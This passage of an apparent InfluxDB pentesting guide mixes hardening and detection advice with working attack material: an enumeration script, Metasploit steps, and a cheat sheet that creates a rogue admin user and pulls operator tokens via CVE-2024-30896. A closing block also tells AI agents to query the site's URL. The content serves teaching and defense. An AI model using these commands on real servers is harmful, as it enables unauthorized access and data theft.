> DROP USER influxdb
> DROP USER telegraf
```

#### Secure Configuration (v2.x)

**Initial Setup with Security**

```bash
# Setup with strong credentials
influx setup \
  --username admin \
  --password 'StrongPassword123!@#' \
  --org myorg \
  --bucket mybucket \
  --retention 30d \
  --force

# Or via environment variables
export INFLUX_USERNAME=admin
export INFLUX_PASSWORD='StrongPassword123!@#'
export INFLUX_ORG=myorg
export INFLUX_BUCKET=mybucket

influx setup
```

**Bind to Localhost**

```yaml
# /etc/influxdb/config.toml (v2.x)

http-bind-address = "127.0.0.1:8086"
```

**Use TLS/SSL**

```yaml
# config.toml
tls-cert = "/etc/ssl/influxdb.crt"
tls-key = "/etc/ssl/influxdb.key"
tls-min-version = "1.2"
```

**Token Management Best Practices**

```bash
# Create tokens with minimal required permissions
influx auth create \
  --org myorg \
  --read-bucket <bucket_id> \
  --write-bucket <bucket_id> \
  --description "App Token"

# List and audit tokens regularly
influx auth list

# Delete unused tokens
influx auth delete --id <token_id>

# Rotate operator token
influx auth create \
  --org <org> \
  --operator

# Delete old operator token
influx auth delete --id <old_operator_token_id>
```

#### Network Security

**Firewall Rules**

```bash
# UFW
sudo ufw deny 8086/tcp
sudo ufw allow from 127.0.0.1 to any port 8086
sudo ufw allow from 192.168.1.0/24 to any port 8086

# iptables
sudo iptables -A INPUT -p tcp --dport 8086 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 8086 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 8086 -j DROP

# Save rules
sudo iptables-save > /etc/iptables/rules.v4
```

**Use Reverse Proxy**

```nginx
# Nginx configuration
server {
    listen 443 ssl;
    server_name influxdb.example.com;
    
    ssl_certificate /etc/ssl/certs/influxdb.crt;
    ssl_certificate_key /etc/ssl/private/influxdb.key;
    
    location / {
        proxy_pass http://127.0.0.1:8086;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        
        # IP whitelist
        allow 192.168.1.0/24;
        deny all;
    }
}
```

#### Monitoring & Detection

**Enable Query Logging**

```toml
# v1.x config
[http]
  access-log-path = "/var/log/influxdb/access.log"
  
[logging]
  level = "info"
```

**Monitor for Attacks**

```bash
# Monitor access logs
tail -f /var/log/influxdb/access.log | grep -E "SHOW USERS|CREATE USER|GRANT|DROP"

# Check for suspicious queries
tail -f /var/log/influxdb/query.log | grep -E "SELECT.*FROM.*\*|SHOW MEASUREMENTS"

# Monitor for CVE-2019-20933 exploitation
tail -f /var/log/influxdb/access.log | grep -i "bearer"

# Monitor for CVE-2024-30896 exploitation
tail -f /var/log/influxdb/access.log | grep "/api/v2/authorizations"
```

**Intrusion Detection (Snort)**

```bash
# Snort rule for InfluxDB enumeration
alert tcp any any -> any 8086 (msg:"InfluxDB SHOW USERS attempt"; content:"SHOW USERS"; nocase; sid:1000001;)

alert tcp any any -> any 8086 (msg:"InfluxDB CREATE USER attempt"; content:"CREATE USER"; nocase; sid:1000002;)

alert tcp any any -> any 8086 (msg:"Possible CVE-2019-20933 JWT bypass"; content:"Bearer"; http_header; sid:1000003;)

alert tcp any any -> any 8086 (msg:"InfluxDB operator token access (CVE-2024-30896)"; content:"/api/v2/authorizations"; sid:1000004;)
```

**OSSEC/Wazuh Rules**

```xml
<rule id="100001" level="10">
    <if_sid>1002</if_sid>
    <match>SHOW USERS|CREATE USER</match>
    <description>InfluxDB user enumeration or creation detected</description>
    <group>influxdb,attack</group>
</rule>

<rule id="100002" level="12">
    <if_sid>1002</if_sid>
    <match>DROP DATABASE|DROP MEASUREMENT</match>
    <description>InfluxDB data deletion detected</description>
    <group>influxdb,attack</group>
</rule>
```

#### Update & Patch

**Check Current Version**

```bash
# v1.x
influx -version
influxd version

# v2.x
influx version
influxd version

# Via HTTP
curl -s http://localhost:8086/ping | grep X-Influxdb-Version
curl -s http://localhost:8086/health | jq -r .version
```

**Update InfluxDB**

```bash
# Ubuntu/Debian (v1.x)
sudo apt update
sudo apt install influxdb

# Ubuntu/Debian (v2.x)
wget https://dl.influxdata.com/influxdb/releases/influxdb2-2.7.4-amd64.deb
sudo dpkg -i influxdb2-2.7.4-amd64.deb

# RHEL/CentOS
sudo yum update influxdb

# Verify patch status
influxd version
# Check for CVE-2019-20933: Should be >= 1.7.6
# Check for CVE-2024-30896: Should be >= 2.7.12 (when available)
```

#### Regular Security Audits

```bash
# Check for unauthenticated access
curl -sG "http://localhost:8086/query" --data-urlencode "q=SHOW DATABASES"
# Should return error if auth is enabled

# Verify firewall rules
sudo iptables -L -n | grep 8086
sudo ufw status | grep 8086

# Check for weak credentials
influx -username admin -password admin
influx -username root -password root
# Should fail if defaults are changed

# List all users (v1.x)
influx -username admin -password '<admin_pass>'
> SHOW USERS

# List all tokens (v2.x)
influx auth list

# Check file permissions
ls -la /etc/influxdb/
ls -la /var/lib/influxdb/
# Should be owned by influxdb user, not world-readable

# Verify TLS configuration
openssl s_client -connect localhost:8086 -tls1_2
```

## Tools & Scripts

#### Essential Tools

1. **influx** - Official CLI client
2. **influxdb-cli** - Alternative CLI
3. **curl** - HTTP API interaction
4. **jq** - JSON parsing
5. **Metasploit** - Automated enumeration
6. **nmap** - Port scanning

#### Custom Enumeration Script

```python
#!/usr/bin/env python3
"""
InfluxDB Enumeration Script
Supports both v1.x and v2.x
"""
import requests
import sys
import json

class InfluxEnumerator:
    def __init__(self, host, port=8086):
        self.host = host
        self.port = port
        self.base_url = f"http://{host}:{port}"
        self.version = None
        
    def detect_version(self):
        """Detect InfluxDB version"""
        print("[*] Detecting InfluxDB version...")
        
        # Try v1.x ping
        try:
            r = requests.get(f"{self.base_url}/ping", timeout=5)
            if 'X-Influxdb-Version' in r.headers:
                self.version = r.headers['X-Influxdb-Version']
                print(f"[+] Detected v1.x: {self.version}")
                return "v1"
        except:
            pass
        
        # Try v2.x health
        try:
            r = requests.get(f"{self.base_url}/health", timeout=5)
            if r.status_code == 200:
                data = r.json()
                self.version = data.get('version', 'Unknown')
                print(f"[+] Detected v2.x: {self.version}")
                return "v2"
        except:
            pass
        
        print("[-] Could not detect version")
        return None
    
    def enum_v1_unauth(self):
        """Enumerate v1.x without authentication"""
        print("\n[*] Attempting unauthenticated enumeration (v1.x)...")
        
        # Show databases
        try:
            r = requests.get(f"{self.base_url}/query",
                           params={'q': 'SHOW DATABASES'},
                           timeout=5)
            
            if r.status_code == 200 and 'results' in r.text:
                print("[+] Authentication not required!")
                data = r.json()
                
                if data.get('results'):
                    series = data['results'][0].get('series', [])
                    if series:
                        print("\n[*] Databases:")
                        for db in series[0].get('values', []):
                            print(f"    - {db[0]}")
                
                # Show users
                r = requests.get(f"{self.base_url}/query",
                               params={'q': 'SHOW USERS'},
                               timeout=5)
                if r.status_code == 200:
                    data = r.json()
                    if data.get('results'):
                        series = data['results'][0].get('series', [])
                        if series:
                            print("\n[*] Users:")
                            for user in series[0].get('values', []):
                                admin_status = "admin" if user[1] else "user"
                                print(f"    - {user[0]} ({admin_status})")
                
            else:
                print("[-] Authentication required or query failed")
                
        except Exception as e:
            print(f"[-] Error: {e}")
    
    def enum_v2_token(self, token):
        """Enumerate v2.x with token"""
        print(f"\n[*] Enumerating with token...")
        headers = {'Authorization': f'Token {token}'}
        
        # List orgs
        try:
            r = requests.get(f"{self.base_url}/api/v2/organizations",
                           headers=headers, timeout=5)
            if r.status_code == 200:
                orgs = r.json().get('orgs', [])
                print(f"\n[*] Organizations ({len(orgs)}):")
                for org in orgs:
                    print(f"    - {org['name']} (ID: {org['id']})")
            else:
                print("[-] Failed to list organizations")
        except Exception as e:
            print(f"[-] Error: {e}")
        
        # List buckets
        try:
            r = requests.get(f"{self.base_url}/api/v2/buckets",
                           headers=headers, timeout=5)
            if r.status_code == 200:
                buckets = r.json().get('buckets', [])
                print(f"\n[*] Buckets ({len(buckets)}):")
                for bucket in buckets:
                    print(f"    - {bucket['name']} (Org: {bucket['orgID']})")
            else:
                print("[-] Failed to list buckets")
        except Exception as e:
            print(f"[-] Error: {e}")
    
    def run(self, token=None):
        version = self.detect_version()
        
        if version == "v1":
            self.enum_v1_unauth()
        elif version == "v2" and token:
            self.enum_v2_token(token)
        elif version == "v2":
            print("[-] v2.x requires a token for enumeration")
        else:
            print("[-] Enumeration failed")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [token]")
        sys.exit(1)
    
    host = sys.argv[1]
    token = sys.argv[2] if len(sys.argv) > 2 else None
    
    enumerator = InfluxEnumerator(host)
    enumerator.run(token)
```

#### Automated Metasploit Module

```bash
# Use Metasploit
msf6 > use auxiliary/scanner/http/influxdb_enum
msf6 auxiliary(scanner/http/influxdb_enum) > set RHOSTS <target-ip>
msf6 auxiliary(scanner/http/influxdb_enum) > set RPORT 8086
msf6 auxiliary(scanner/http/influxdb_enum) > run

# With authentication
msf6 auxiliary(scanner/http/influxdb_enum) > set USERNAME admin
msf6 auxiliary(scanner/http/influxdb_enum) > set PASSWORD password
msf6 auxiliary(scanner/http/influxdb_enum) > run
```

## Cheat Sheet

#### Quick Reference

```bash
# VERSION DETECTION
curl -i http://<target>:8086/ping
curl -s http://<target>:8086/health | jq .

# v1.x ENUMERATION
curl -sG "http://<target>:8086/query" --data-urlencode "q=SHOW DATABASES"
curl -sG "http://<target>:8086/query" --data-urlencode "q=SHOW USERS"
curl -sG "http://<target>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# v1.x AUTHENTICATION
influx -host <target> -username admin -password 'pass'
curl -u admin:pass -sG "http://<target>:8086/query" --data-urlencode "q=SHOW DATABASES"

# v1.x QUERY DATA
curl -sG "http://<target>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SELECT * FROM cpu LIMIT 5"

# v1.x CREATE ADMIN
curl -sG "http://<target>:8086/query" --data-urlencode "q=CREATE USER hacker WITH PASSWORD 'Pass123!' WITH ALL PRIVILEGES"

# v2.x ENUMERATION
curl -s -H "Authorization: Token <token>" http://<target>:8086/api/v2/organizations
curl -s -H "Authorization: Token <token>" http://<target>:8086/api/v2/buckets
curl -s -H "Authorization: Token <token>" http://<target>:8086/api/v2/users

# v2.x QUERY (Flux)
curl -s -H "Authorization: Token <token>" -H "Content-Type: application/vnd.flux" -X POST http://<target>:8086/api/v2/query --data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

# CVE-2024-30896 EXPLOIT
curl -s -H "Authorization: Token <user_token>" "http://<target>:8086/api/v2/authorizations?orgID=<default_org>"
```

#### Important Endpoints

**v1.x:**

* `/ping` - Health check, version info
* `/query` - Query endpoint
* `/write` - Write endpoint
* `/debug/vars` - Metrics and stats

**v2.x:**

* `/health` - Health check, version info
* `/api/v2/query` - Flux query endpoint
* `/api/v2/write` - Write endpoint
* `/api/v2/organizations` - List orgs
* `/api/v2/buckets` - List buckets
* `/api/v2/authorizations` - List tokens
* `/metrics` - Prometheus metrics

#### Common Databases/Buckets

```
_internal    # System metrics (always present)
telegraf     # Telegraf metrics (very common)
_monitoring  # Monitoring data (v2.x)
_tasks       # Task execution logs (v2.x)
```

### Conclusion

InfluxDB, while powerful for time series data management, presents significant security risks when misconfigured. From unauthenticated access to critical vulnerabilities like CVE-2019-20933 and CVE-2024-30896, InfluxDB instances require careful security consideration.

**Key Takeaways:**

1. **Enable authentication** on all instances (v1.x and v2.x)
2. **Bind to localhost** unless remote access is required
3. **Update immediately** to patched versions
4. **Use strong credentials** and rotate tokens regularly
5. **Implement network segmentation** with firewall rules
6. **Monitor for attacks** with proper logging
7. **Audit regularly** for misconfigurations
8. **Principle of least privilege** for tokens and users
9. **Use TLS/SSL** for production deployments
10. **Defense in depth** - multiple security layers

**Attack Vectors:**

* Unauthenticated access (misconfiguration)
* Default credentials
* CVE-2019-20933 (JWT bypass)
* CVE-2024-30896 (operator token exposure)
* Data exfiltration (sensitive metrics)
* Privilege escalation via token manipulation

Remember to only perform these techniques during authorized security assessments. Unauthorized access is illegal and unethical.

### Additional Resources

* [InfluxDB Official Documentation](https://docs.influxdata.com/influxdb/)
* [InfluxDB Security Best Practices](https://docs.influxdata.com/influxdb/v2.7/security/)
* [CVE-2019-20933 Analysis](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
* [CVE-2024-30896 Advisory](https://www.wiz.io/vulnerability-database/cve/cve-2024-30896)
* [HackTricks InfluxDB](https://book.hacktricks.wiki/en/network-services-pentesting/8086-pentesting-influxdb.html)
* [InfluxQL Documentation](https://docs.influxdata.com/influxdb/v1.8/query_language/)
* [Flux Language Guide](https://docs.influxdata.com/flux/v0.x/)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/influxdb-port-8086.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
